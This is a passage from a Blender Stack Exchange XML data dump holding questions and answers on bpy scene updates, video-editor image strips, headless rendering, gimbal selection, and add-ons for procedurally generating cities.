(Commercial)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also see the answer on the &lt;a href=&quot;https://blender.stackexchange.com/a/15363/599&quot;&gt;resources post&lt;/a&gt; for even more.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2016-08-24T14:20:47.203" CommentCount="0" CommunityOwnedDate="2014-04-12T19:56:48.800" ContentLicense="CC BY-SA 3.0" />
  <row Id="8534" PostTypeId="2" ParentId="8529" CreationDate="2014-04-12T23:00:26.730" Score="3" Body="&lt;p&gt;On some further investigation, and looking at other threads, I solved my issue by using the following method to update the scene.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene.frame_set(bpy.context.scene.frame_current)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So now I'm thinking there is a bug in how bpy.ops.screen.keyframe_jump() is implemented. The line I added should theoretically do nothing (ie. setting the current frame to the current frame should be a no op). The strange thing is that my original implementation worked in the interactive console, but not when I put it in a text/export file and run it from there.&lt;/p&gt;&#xA;" OwnerUserId="2834" LastActivityDate="2014-04-12T23:00:26.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8535" PostTypeId="2" ParentId="8517" CreationDate="2014-04-13T00:55:55.217" Score="20" Body="&lt;p&gt;The default behaviour of an image strip added to the VSE is to scale to the render resolution set for the blend file. To change this behaviour in the way you have specified; enable &quot;Image Offset&quot; in the Strip Input panel on the properties bar for the selected image sequence, then use the X and Y value inputs to position the image within the output image space. You also want to set the blend type to &quot;Alpha Over&quot; so that the underlying strip is visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/27SEE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="935" LastEditDate="2014-04-17T04:53:27.600" LastActivityDate="2014-04-17T04:53:27.600" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8538" PostTypeId="2" ParentId="8517" CreationDate="2014-04-13T08:55:18.117" Score="16" Body="&lt;p&gt;This is fairly easy:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select the imported image/strip, then &lt;strong&gt;Add&lt;/strong&gt; &gt; &lt;strong&gt;Effect Strip&lt;/strong&gt; &gt; &lt;strong&gt;Transform&lt;/strong&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Select the newly added Transform strip, go to the N panel, set X/Y scale by following this rule: &lt;strong&gt;&lt;code&gt;original_res/scene_res&lt;/code&gt;&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For example, you current scene dimension is &lt;strong&gt;1280x720&lt;/strong&gt;, want to add a &lt;strong&gt;60x60&lt;/strong&gt; image, you can type in &lt;code&gt;60/1280&lt;/code&gt; for X scale, then Blender will calculate the scale ratio for you. Then type &lt;code&gt;60/720&lt;/code&gt; for Y scale. Voila.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/60ejG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="1112" LastEditDate="2014-04-13T22:45:50.357" LastActivityDate="2014-04-13T22:45:50.357" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8539" PostTypeId="2" ParentId="8505" CreationDate="2014-04-13T09:38:17.233" Score="4" Body="&lt;p&gt;As Catlover2 points out it can be done but preferably over a fast local network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to run blender locally to create the scene and then run blender remotely over ssh to do the rendering without using any gui elements.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender -b myblendfile.blend -f&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also setup any number of remote machines that automatically startup as slaves to do rendering through Network Render.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-04-13T09:38:17.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8540" PostTypeId="2" ParentId="8469" CreationDate="2014-04-13T09:58:29.563" Score="1" Body="&lt;p&gt;When using Boolean modifier, make sure the final object is going to be a &lt;strong&gt;closed mesh&lt;/strong&gt;. Things like plane and cirle with zero thickness may not work well as target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it is recommened to put the &quot;boolean masking&quot; cube into another scene layer, and make that layer invisible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h09o3.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.pasteall.org/blend/28407&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here&lt;/a&gt;&lt;/strong&gt; is a very simple sample file, just fyi.&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-04-13T09:58:29.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8541" PostTypeId="2" ParentId="8520" CreationDate="2014-04-13T11:21:53.253" Score="0" Body="&lt;p&gt;I guess this isn't implemented yet because it would slow down the viewport even more. To see the effect you could alternatively test render a frame. This function regards compositing rather than what the viewport is intended for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to calculate motion blur you need multiple samples (frames) of the image at different times. Some algorithms use the optical flow if you decide to have a preview of 20 samples the image it would take 20 renders plus motion blur to create the viewports image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A nice overview of common algorithms you find &lt;a href=&quot;http://giga.cps.unizar.es/~diegog/ficheros/pdf_papers/Navarro_motionblur.pdf&quot; rel=&quot;nofollow&quot;&gt;Motion Blur Rendering: State of the Art&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-04-13T11:21:53.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8542" PostTypeId="1" CreationDate="2014-04-13T11:24:07.753" Score="4" ViewCount="7100" Body="&lt;p&gt;I've got Blender version 2.68a and I'd like to update it, but I'm afraid that all of my setup will be deleted and I will have to set it again... Is there some way to keep all this stuff when I will be updating?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tnaks for help.&lt;/p&gt;&#xA;" OwnerUserId="3120" LastActivityDate="2017-04-11T04:15:23.197" Title="Do I have to setup everything again after update?" Tags="&lt;customization&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" ClosedDate="2014-04-14T15:28:46.120" ContentLicense="CC BY-SA 3.0" />
  <row Id="8543" PostTypeId="2" ParentId="5722" CreationDate="2014-04-13T11:51:44.850" Score="4" Body="&lt;p&gt;You can also create a keyboard shortcut in User Preferences &gt; Input. Then expand 3D View &gt; Mesh and click Add New. Enter &lt;code&gt;mesh.loop_select&lt;/code&gt; as the identifier and set up your shortcut. I use &lt;code&gt;[&lt;/code&gt;. Tick the checkbox for &quot;Toggle Select&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In 2.7 it will act like the &lt;code&gt;L&lt;/code&gt; and allow you to multi-select! You can hover and press &lt;code&gt;[&lt;/code&gt; and it will act exactly like if you &lt;code&gt;ALT + RMB&lt;/code&gt; without Emulate mouse on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer iKlsR gave is good but it won't behave the same; selecting a face and going Select &gt; Edge Loop will select 2 face loops, which is rarely what you want.&lt;/p&gt;&#xA;" OwnerUserId="3121" LastEditorUserId="3121" LastEditDate="2014-04-13T15:28:24.137" LastActivityDate="2014-04-13T15:28:24.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8544" PostTypeId="1" CreationDate="2014-04-13T12:53:00.010" Score="3" ViewCount="233" Body="&lt;p&gt;When I'm modeling with the gimbal in view, I frequently cannot select something if the gimbal is in the way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LOCg7.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to select through the gimbal, rather than having to move so the gimbal isn't in the way?&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2014-04-13T14:12:55.883" Title="How can I select something if the Gimbal is in the way?" Tags="&lt;modeling&gt;&lt;interface&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8545" PostTypeId="1" AcceptedAnswerId="8546" CreationDate="2014-04-13T12:53:57.950" Score="77" ViewCount="50331" Body="&lt;p&gt;I am trying to create an urban open-world environment in Blender that would be about one square kilometre in size. To avoid having to model hundred of individual buildings, I am looking for a way to quickly generate them procedurally - but there should be an element of variety (i.e. preferably not a grid-like fashion).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it is possible to generate other features such as pipes, windows and ledges on the exterior of the buildings?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the feeling that the way about this is using Python scripts, but I am unsure as to the specific details required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2647" LastEditorUserId="2173" LastEditDate="2014-04-21T15:46:53.923" LastActivityDate="2016-03-26T01:00:02.473" Title="How can I quickly generate / create a large city without modeling it all by hand?" Tags="&lt;python&gt;&lt;modeling&gt;&lt;add-on&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="92" ContentLicense="CC BY-SA 3.0" />
  <row Id="8546" PostTypeId="2" ParentId="8545" CreationDate="2014-04-13T12:57:30.067" Score="130" Body="&lt;h2&gt;&lt;strong&gt;City Generation&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://cgchan.com/suicidator/&quot; rel=&quot;noreferrer&quot;&gt;Suicidator &quot;City Generator&quot; (SCG)&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;This is a very robust Blender addon that can create amazingly detailed &amp;amp; complex cities:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Generate random terrains (including bodies of water) for your city, or use your own &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Textures/Influence/Material/Bump_and_Normal&quot; rel=&quot;noreferrer&quot;&gt;bump maps&lt;/a&gt; to create the landscape of your choice &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;SCG automatically generates all the textures for your buildings, roads, grass, water, etc.&lt;br&gt;&#xA;(&lt;strong&gt;NOTE:&lt;/strong&gt; Currently, SCG &lt;strong&gt;&lt;em&gt;only&lt;/em&gt;&lt;/strong&gt; generates textures in Blender Internal, not yet for Cycles)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Specify if it's day or night in your city&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PPtqZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lPRXh.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tTAW3.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F9dAf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; As of City Generator v0.5.7, textures will &lt;strong&gt;ONLY&lt;/strong&gt; be generated in Blender Render, &lt;strong&gt;NOT&lt;/strong&gt; yet in Cycles. So, make sure you are in Blender Render &lt;strong&gt;BEFORE&lt;/strong&gt; you click the Build City button:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FihVZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read the &lt;a href=&quot;http://cgchan.com/suicidator/manual.php&quot; rel=&quot;noreferrer&quot;&gt;City Generator online manual&lt;/a&gt; on their website and see many more examples.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; There is another addon listed on the Blender Wiki called  &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.4/Py/Scripts/Wizards/City_Block_Generator&quot; rel=&quot;noreferrer&quot;&gt;&quot;City Block Generator&quot;&lt;/a&gt;. However, this addon only works with Blender versions 2.4x - 2.5x, so it's not an option for any versions later than 2.5&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Adding Special Building Details for Close-Up Shots&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you ever want to have a close-up shot of a particular part of your city and want to add specific building details, you can use these add-ons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://developer.blender.org/file/info/PHID-FILE-fzqurotpdny64yonwwhc/&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Block Wall Builder:&lt;/strong&gt;&lt;/a&gt; Block Wall Builder allows you to build your own custom walls. It has a lot of functionality, including the ability to add holes in the wall for windows, doors, etc.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sexqb.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://dl.dropboxusercontent.com/u/23340323/add_Window.py&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Window Generator 2:&lt;/strong&gt;&lt;/a&gt; Add custom windows. Download it &lt;a href=&quot;http://dl.dropboxusercontent.com/u/23340323/add_Window.py&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; and read more about it &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?270422-AddOn-Window-Generator-2&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;. Here are some samples:    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YOhaP.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://dl.dropbox.com/u/23340323/add_Sove.py&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Jamb Generator:&lt;/strong&gt;&lt;/a&gt; This addon from &lt;a href=&quot;http://seyitaliyaprakci.blogspot.com/&quot; rel=&quot;noreferrer&quot;&gt;Seyit Ali YAPRAKCI&lt;/a&gt; makes custom door frames/jambs:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Smmi0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/Antonioya/blender/tree/master/archimesh&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Archimesh:&lt;/strong&gt;&lt;/a&gt; Archimesh gives you the ability to add great detail to your buildings: add rooms, house structure (walls), doors (one and two leafs), columns, stairs (strait and curved), tile roofs, cabinets, shelves, windows, books, lamps, curtains, etc. It can also &lt;strong&gt;&lt;em&gt;UV unwrap rooms!&lt;/em&gt;&lt;/strong&gt; You can download it &lt;a href=&quot;https://github.com/Antonioya/blender/tree/master/archimesh&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; and you can get more information on how to use it &lt;a href=&quot;https://www.youtube.com/playlist?list=PLQAfj95MdhTJ7zifNb5ab-n-TI0GmKwWQ&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;. Here is a sample of the cabinets with shelves:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aNegK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://dl.dropbox.com/u/23340323/add_Balkon.py&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Balcony Generator:&lt;/strong&gt;&lt;/a&gt; This addon, also from Seyit Ali YAPRAKCI makes balconies:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VOB6B.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/23340323/Chimney_Generator.py&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Chimneys:&lt;/strong&gt;&lt;/a&gt; This addon, again from Seyit Ali YAPRAKCI, makes chimneys:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XoY4G.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://blenderthings.blogspot.nl/2013/07/generate-floor-boards-quick-and-simple.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Flat Board Generator:&lt;/strong&gt;&lt;/a&gt; This addon allows you to make hardwood floors: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/I9apd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Add Pipe Joint:&lt;/strong&gt; You can read about this built-in addon &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Add_Mesh/Add_Pipe_Joints&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; and here are some sample joints:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Al4f7.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; If you want to extrude pipes from these joints, see &lt;a href=&quot;https://blender.stackexchange.com/questions/8782/how-do-i-extrude-perpendicular-to-a-plane-not-oriented-along-x-y-or-z&quot;&gt;this question and answer&lt;/a&gt; for details on how to do it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Add Snow and Icicles&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If it's winter in your city, you can add piles of snow to your meshes with the technique described &lt;a href=&quot;https://blender.stackexchange.com/questions/4907/how-to-create-piles-of-snow-on-a-mesh/4917#4917&quot;&gt;here&lt;/a&gt; and with the &lt;a href=&quot;https://blender.stackexchange.com/questions/5166/how-to-create-icicles-hanging-off-an-object&quot;&gt;Icicle Generator&lt;/a&gt; you can add icicles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LCnJg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Adding Terrain for your City&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you don't want your city to be on flat ground and aren't using Suicidator City Generator, you can make unique landscapes easily with the built-in addon &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Add_Mesh/ANT_Landscape&quot; rel=&quot;noreferrer&quot;&gt;ANT Landscape&lt;/a&gt;:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zAAhp.gif&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Add_Mesh/ANT_Landscape&quot; rel=&quot;noreferrer&quot;&gt;Blender manual&lt;/a&gt; describes how to use this built-in addon.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; Previously, these landscapes all had the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Faces&quot; rel=&quot;noreferrer&quot;&gt;normals&lt;/a&gt; flipped the wrong way, which makes the underside of the mesh be considered the top. This has been fixed in an update, but if you have an older version and you're finding this is a problem for you, you can fix it simply by flipping all the normals: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select landscape → &lt;kbd&gt;TAB&lt;/kbd&gt; → select all (&lt;kbd&gt;A&lt;/kbd&gt;) → &lt;kbd&gt;W&lt;/kbd&gt; → &lt;em&gt;Flip Normals&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Add Trees&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Curve/Sapling_Tree&quot; rel=&quot;noreferrer&quot;&gt;&quot;Sapling&quot;&lt;/a&gt; is a built-in addon that allows you to make trees:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AclFu.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This addon is amazingly robust, capable of making a huge array of different kinds of trees and bushes: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rub5b.jpg&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LR4jg.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cxzNf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This addon is much easier to use if you &lt;a href=&quot;https://www.youtube.com/results?search_query=blender%20tutorials%20sapling&quot; rel=&quot;noreferrer&quot;&gt;watch a tutorial&lt;/a&gt; about it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more detailed information about making trees, see &lt;a href=&quot;https://blender.stackexchange.com/questions/8688/is-there-an-easy-way-to-make-a-tree-in-blender&quot;&gt;this page&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Add Scattered Debris, Litter or Plants&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you want to have litter around your city, or debris &amp;amp; weeds in an abandoned lot, you can do that using a Hair Particle System, which you can learn how to make &lt;a href=&quot;https://blender.stackexchange.com/questions/8927/is-there-a-way-to-procedurally-scatter-objects-on-the-ground-of-my-scene/8928#8928&quot;&gt;on this page&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/io8F6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Add Rocks&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Add_Mesh/Rock_Generator&quot; rel=&quot;noreferrer&quot;&gt;Add Rocks&lt;/a&gt; addon allows you to quickly add randomly generated mesh rocks, thus making it much quicker to add detail &amp;amp; practicality to your outdoor settings, urban or otherwise. Here you can &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?330884-Blender-2-70-released-!&amp;amp;p=2602818&amp;amp;viewfull=1#post2602818&quot; rel=&quot;noreferrer&quot;&gt;read about &amp;amp; download&lt;/a&gt; this addon (note: the Add Rock addon is part of the bundle described in that post.) Here are some examples of the 5 rock presets:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zuZ0R.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For lots more details on making Add Rocks, see &lt;a href=&quot;https://blender.stackexchange.com/questions/8746/how-can-i-make-unique-rocks-in-blender-without-having-to-model-them-by-hand&quot;&gt;this page&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; One thing to be aware of is that each rock has many modifiers on it, and these slow down render time. See &lt;a href=&quot;https://blender.stackexchange.com/questions/8746/how-can-i-make-unique-rocks-in-blender-without-having-to-model-them-by-hand&quot;&gt;this page&lt;/a&gt; (at the bottom) to get details on how to solve this issue.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Add Ivy&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Blender's built-in &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Curve/Ivy_Gen&quot; rel=&quot;noreferrer&quot;&gt;&quot;Ivy Gen&quot;&lt;/a&gt; addon is very good at creating realistic looking ivy:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ScnlG.jpg&amp;rarr;&amp;rarr;&amp;rarr;&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2014-05-16T04:59:46.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8547" PostTypeId="2" ParentId="8544" CreationDate="2014-04-13T13:00:32.063" Score="3" Body="&lt;p&gt;Hide the transform manipulators (click the left icon):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Md2QL.png&quot; alt=&quot;Transform Manipulators&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Spacebar&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-13T13:00:32.063" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8548" PostTypeId="2" ParentId="8544" CreationDate="2014-04-13T13:06:36.400" Score="1" Body="&lt;p&gt;It seems that you are using &lt;strong&gt;LMB&lt;/strong&gt; for selection, which is not default setting, and can cause such problem, since dragging with LMB is also a gesture for transforming objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As CoDEmanX said, you can either temporally hide the manipulator display, or go to &lt;strong&gt;User Preferences&lt;/strong&gt; &gt; &lt;strong&gt;Input&lt;/strong&gt;, to change the selection button from &lt;strong&gt;Left&lt;/strong&gt; to default &lt;strong&gt;Right&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't think the LMB dragging gesture is commonly used for you, you can also consider to disable it manually:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to &lt;strong&gt;User Preferences&lt;/strong&gt; &gt; &lt;strong&gt;Input&lt;/strong&gt;, uncheck the &lt;strong&gt;3D Manipulator&lt;/strong&gt; input;&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;strong&gt;Save User Settings&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BQjBz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-04-13T14:12:55.883" LastActivityDate="2014-04-13T14:12:55.883" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
